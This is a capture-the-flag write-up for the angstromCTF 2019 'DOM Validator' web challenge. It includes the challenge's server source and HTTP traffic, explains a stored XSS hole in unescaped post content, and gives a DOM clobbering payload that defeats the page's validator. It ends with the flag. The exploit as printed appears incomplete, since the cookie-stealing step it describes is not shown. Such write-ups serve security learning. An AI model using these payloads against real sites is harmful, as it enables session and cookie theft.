Tags: dom-clobbering web xss 

Rating: 0

# ▼▼▼DOM Validator(Web:130pts、solved:73/1374=5.3%)▼▼▼

This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)

```
Always remember to validate your DOMs before you render them.

Author: kmh11
```

---

## 【source code】

```
var express = require('express')
var app = express()

app.use(express.urlencoded({ extended: false }))
app.use(express.static('public'))

app.get('/', function (req, res) {
res.send(`
<html>
<head>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">
</head>
<body style="background-color: black; text-align: center;">
<h1 style="color: white; margin-top: 2em;">Create Post</h1>
<form action='/posts' method='POST'>
<input name='title' placeholder='Post title'>

<textarea name='content' placeholder='Post content'></textarea>

<button type='submit' style="color: white">Create Post</button>
</form>
<h1 style="color: white">Report Post</h1>
<form action='/report' method='POST'>
<input name='url' placeholder='Post URL'>

<button type='submit' style="color: white">Report Post</button>
</form>
</body>
</html>`)
})

var fs = require('fs')
app.post('/posts', function (req, res) {
// title must be a valid filename
if (!(/^[\w\-. ]+$/.test(req.body.title)) || req.body.title.indexOf('..') !== -1) return res.sendStatus(400)
if (fs.existsSync('public/posts/' + req.body.title + '.html')) return res.sendStatus(409)
fs.writeFileSync('public/posts/' + req.body.title + '.html', `
<html>
<head>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script>
<script src="../scripts/DOMValidator.js"></script>
</head>
<body>
<h1>${req.body.title}</h1>

${req.body.content}


</body>
</html>`)
res.redirect('/posts/' + req.body.title + '.html')
})

// admin visiting page
var puppeteer = require('puppeteer')
app.post('/report', async function (req, res) {
res.sendStatus(200)
try {
var browser = await puppeteer.launch({
args: ['--no-sandbox']
})
var page = await browser.newPage()
await page.setCookie({
name: 'flag',
value: process.env.FLAG,
domain: req.get('host')
})
await page.goto(req.body.url, {'waitUntil': 'networkidle0'})
} catch (e) {
console.log(e)
}
})

app.listen(3002)
```

---

## 【Understanding functions】

```
POST /posts HTTP/1.1
Host: dom.2019.chall.actf.co
Content-Type: application/x-www-form-urlencoded

title=testssssss&content=%3Ctest%3E
```

```
GET /posts/testssssss.html HTTP/1.1
Host: dom.2019.chall.actf.co
```

```
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Content-Length: 496
Content-Type: text/html; charset=UTF-8
Date: Thu, 25 Apr 2019 01:27:49 GMT
Etag: W/"1f0-16a521b10cd"
Last-Modified: Thu, 25 Apr 2019 01:27:46 GMT
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Connection: close

<html>
<head>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script>
<script src="../scripts/DOMValidator.js"></script>
</head>
<body>
<h1>testssssss</h1>

<test>


</body>
</html>
```

**Stored XSS vulnerability exists!!**

---

Also check the script content below

```
GET /scripts/DOMValidator.js HTTP/1.1
Host: dom.2019.chall.actf.co
```

```
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Content-Length: 797
Content-Type: application/javascript; charset=UTF-8
Date: Thu, 25 Apr 2019 01:27:49 GMT
Etag: W/"31d-16a242b5dd8"
Last-Modified: Tue, 16 Apr 2019 03:23:03 GMT
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Connection: close

function checksum (element) {
var string = ''
string += (element.attributes ? element.attributes.length : 0) + '|'
for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {
string += element.attributes[i].name + ':' + element.attributes[i].value + '|'
}
string += (element.childNodes ? element.childNodes.length : 0) + '|'
for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {
string += checksum(element.childNodes[i]) + '|'
}
return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)
}
var request = new XMLHttpRequest()
request.open('GET', location.href, false)
request.send(null)
if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) {
document.documentElement.remove()
}
```

Summary...

・The html file of title is created

・Content parameter is reflected, content parameter is not escaped(`Stored XSS`)

・Everything is deleted by `document.documentElement.remove()` of /scripts/DOMValidator.js

---

## 【Way of thinking】

**Method 1. Do not load /scripts/DOMValidator.js**

・Because we can decide the file name by ourself, can you bypass the .html extension?

・If the above can be done, then a **relative path overwrite attack** may be performed.

**Method 2. DOM clobbering to prevent remove() processing**

I decided to solve in 2(**DOM clobbering**)

---

## 【exploit(DOM clobbering)】

```
POST /posts HTTP/1.1
Host: dom.2019.chall.actf.co
Content-Type: application/x-www-form-urlencoded

title=my_file_name&content=
<form><input id=remove>

```

If I let (http://dom.2019.chall.actf.co/posts/my_file_name.html) be an admin, HeadlessChrome will access to the my server.

`actf{its_all_relative}`

posix – April 25, 2019, 12:13 p.m.

thanks to your writeup